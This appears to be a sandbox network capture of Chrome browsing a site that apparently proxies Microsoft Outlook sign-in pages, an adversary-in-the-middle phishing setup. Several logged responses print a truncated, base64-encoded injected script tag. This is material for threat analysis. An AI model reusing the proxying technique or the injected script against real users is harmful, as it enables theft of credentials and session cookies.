2024-05-07 18:31:38 UTC	1022	OUT	GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2lodm5iaGJ2aGJhc2RqYmhqdmJmaC5zaXRlIiwiZG9tYWluIjoiaWh2bmJoYnZoYmFzZGpiaGp2YmZoLnNpdGUiLCJrZXkiOiJsQUlMSWVyZDZWcVAiLCJxcmMiOm51bGwsImlhdCI6MTcxNTEwNjY5NywiZXhwIjoxNzE1MTA2ODE3fQ.he_U96iM5-m3tQrPAFlHg1amMxA0JNkejLj938aPDH0 HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:38 UTC	282	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=lAILIerd6VqP; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; path=/; samesite=none; secure; httponly location: / Date: Tue, 07 May 2024 18:31:38 GMT Connection: close Transfer-Encoding: chunked
2024-05-07 18:31:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49792	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:39 UTC	799	OUT	GET / HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ
2024-05-07 18:31:39 UTC	1169	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://ihvnbhbvhbasdjbhjvbfh.site/owa/ Server: Microsoft-IIS/10.0 request-id: 38e8a4ec-473d-19e8-fa96-547d0c9e88fb Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: FR4P281CA0208, FR4P281CA0208 X-RequestId: 6729aadb-cc21-4f4e-8170-0b137cee6126 X-FEProxyInfo: FR4P281CA0208.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: FRA MS-CV: 7KToOD1H6Bn6llR9DJ6I+w.0 X-Powered-By: ASP.NET Date: Tue, 07 May 2024 18:31:39 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49793	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:40 UTC	803	OUT	GET /owa/ HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ
2024-05-07 18:31:40 UTC	7247	IN	HTTP/1.1 302 Found content-length: 1301 Content-Type: text/html; charset=utf-8 Location: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U= Server: Microsoft-IIS/10.0 request-id: 8f4e413e-550e-3a89-c248-b6a4a81d932f Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-CalculatedFETarget: BE1P281CU023.internal.outlook.com X-BackEndHttpStatus: 302, 302 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: ClientId=DF04B7FBE22043F481683EC6A771F9AA; expires=Wed, 07-May-2025 18:31:40 GMT; path=/;SameSite=None; secure Set-Cookie: ClientId=DF04B7FBE22043F481683EC6A771F9AA; expires=Wed, 07-May-2025 18:31:40 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Thu, 07-Nov-2024 18:31:40 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: RoutingKeyCookie=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; domain=ihvnbhbvhbasdjbhjvbfh.site; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; domain=ihvnbhbvhbasdjbhjvbfh.site; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; domain=ihvnbhbvhbasdjbhjvbfh.site; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; domain=ihvnbhbvhbasdjbhjvbfh.site; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; domain=ihvnbhbvhbasdjbhjvbfh.site; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; domain=ihvnbhbvhbasdjbhjvbfh.site; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; expires=Tue, 07-May-2024 19:31:40 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: HostSwitchPrg=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OptInPrg=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: SuiteServiceProxyKey=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: ClientId=DF04B7FBE22043F481683EC6A771F9AA; expires=Wed, 07-May-2025 18:31:40 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Thu, 07-Nov-2024 18:31:40 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: RoutingKeyCookie=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; domain=ihvnbhbvhbasdjbhjvbfh.site; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; domain=ihvnbhbvhbasdjbhjvbfh.site; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; domain=ihvnbhbvhbasdjbhjvbfh.site; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; domain=ihvnbhbvhbasdjbhjvbfh.site; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; domain=ihvnbhbvhbasdjbhjvbfh.site; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; domain=ihvnbhbvhbasdjbhjvbfh.site; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; expires=Tue, 07-May-2024 19:31:40 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: HostSwitchPrg=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: OptInPrg=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: SuiteServiceProxyKey=; expires=Sat, 07-May-1994 18:31:40 GMT; path=/; secure Set-Cookie: X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; expires=Wed, 08-May-2024 00:33:40 GMT; path=/;SameSite=None; secure; HttpOnly X-CalculatedBETarget: BEVP281MB3507.DEUP281.PROD.OUTLOOK.COM X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-BeSku: WCS7 X-OWA-DiagnosticsInfo: 2;0;0 X-IIDs: 0 X-BackEnd-Begin: 2024-05-07T18:31:40.341 X-BackEnd-End: 2024-05-07T18:31:40.357 X-DiagInfo: BEVP281MB3507 X-BEServer: BEVP281MB3507 X-UA-Compatible: IE=EmulateIE7 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 302 X-FEProxyInfo: FR4P281CA0015.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: FRA X-FEServer: BE1P281CA0291, FR4P281CA0015 NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-FirstHopCafeEFZ: FRA Date: Tue, 07 May 2024 18:31:39 GMT Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-05-07 18:31:40 UTC	1301	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 4b 58 74 6b 62 32 4e 31 62 57 56 75 64 43 35 6f 5a 57 46 6b 4c 6d 46 77 63 47 56 75 5a 45 4e 6f 61 57 78 6b 4b 45 39 69 61 6d 56 6a 64 43 35 68 63 33 4e 70 5a 32 34 6f 5a 47 39 6a 64 57 31 6c 62 6e 51 75 59 33 4a 6c 59 58 52 6c 52 57 78 6c 62 57 56 75 64 43 67 69 5a 47 6c 32 49 69 6b 73 65 Data Ascii: <html><head> <script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49794	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:40 UTC	1852	OUT	GET /?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U= HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag
2024-05-07 18:31:41 UTC	2046	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 07b08d0e-73b4-4e07-ab0f-bcdf4aff3300 x-ms-ests-server: 2.1.17968.10 - SEC ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; domain=ihvnbhbvhbasdjbhjvbfh.site; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=Aj100Kv7Eg9CvjGb74BZzv8; expires=Thu, 06-Jun-2024 18:31:41 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8DVO5JEAlIBf1bEL79vRWgj5g8g0xL0BOYUVc8qCC-DH2Ns4vn-TbExgmXr7FjOq8FGIRA0BWlQLNCDmMP1MMbh3MIIlvzGMP1DkEpylUGgcFoimhg6YGTXAwfKIjIEO-LXnny-ojEG00ryXdYJdlgVv5uLutPJUGeMC1Bi5mKNkgAA; domain=ihvnbhbvhbasdjbhjvbfh.site; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Set-Cookie: stsservicecookie=estsfd; path=/; secure; samesite=none; httponly Date: Tue, 07 May 2024 18:31:41 GMT Connection: close content-length: 21162 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-05-07 18:31:41 UTC	14338	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 4b 58 74 6b 62 32 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --> <!DOCTYPE html> <html> <head> <script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2
2024-05-07 18:31:41 UTC	6824	IN	Data Raw: 75 72 6e 20 63 2e 4f 6e 45 72 72 6f 72 28 65 2c 74 29 7d 76 61 72 20 6e 3d 65 2e 73 72 63 7c 7c 65 2e 68 72 65 66 7c 7c 22 22 2c 6f 3d 69 28 29 2c 73 3d 61 28 29 3b 72 28 22 5b 24 4c 6f 61 64 65 72 5d 3a 20 4c 6f 61 64 65 64 22 2c 65 29 3b 76 61 72 20 64 3d 6e 65 77 20 63 0a 3b 64 2e 66 61 69 6c 4d 65 73 73 61 67 65 3d 22 52 65 6c 6f 61 64 20 46 61 69 6c 65 64 22 2c 64 2e 73 75 63 63 65 73 73 4d 65 73 73 61 67 65 3d 22 52 65 6c 6f 61 64 20 53 75 63 63 65 73 73 22 2c 64 2e 4c 6f 61 64 28 6e 75 6c 6c 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6f 29 7b 74 68 72 6f 77 22 55 6e 65 78 70 65 63 74 65 64 20 73 74 61 74 65 2e 20 52 65 73 6f 75 72 63 65 4c 6f 61 64 65 72 2e 4c 6f 61 64 28 29 20 66 61 69 6c 65 64 20 64 65 73 70 69 74 65 20 69 6e 69 74 69 61 6c 20 Data Ascii: urn c.OnError(e,t)}var n=e.src\|\|e.href\|\|"",o=i(),s=a();r("[$Loader]: Loaded",e);var d=new c ;d.failMessage="Reload Failed",d.successMessage="Reload Success",d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49795	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:42 UTC	2244	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv8; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8DVO5JEAlIBf1bEL79vRWgj5g8g0xL0BOYUVc8qCC-DH2Ns4vn-TbExgmXr7FjOq8FGIRA0BWlQLNCDmMP1MMbh3MIIlvzGMP1DkEpylUGgcFoimhg6YGTXAwfKIjIEO-LXnny-ojEG00ryXdYJdlgVv5uLutPJUGeMC1Bi5mKNkgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
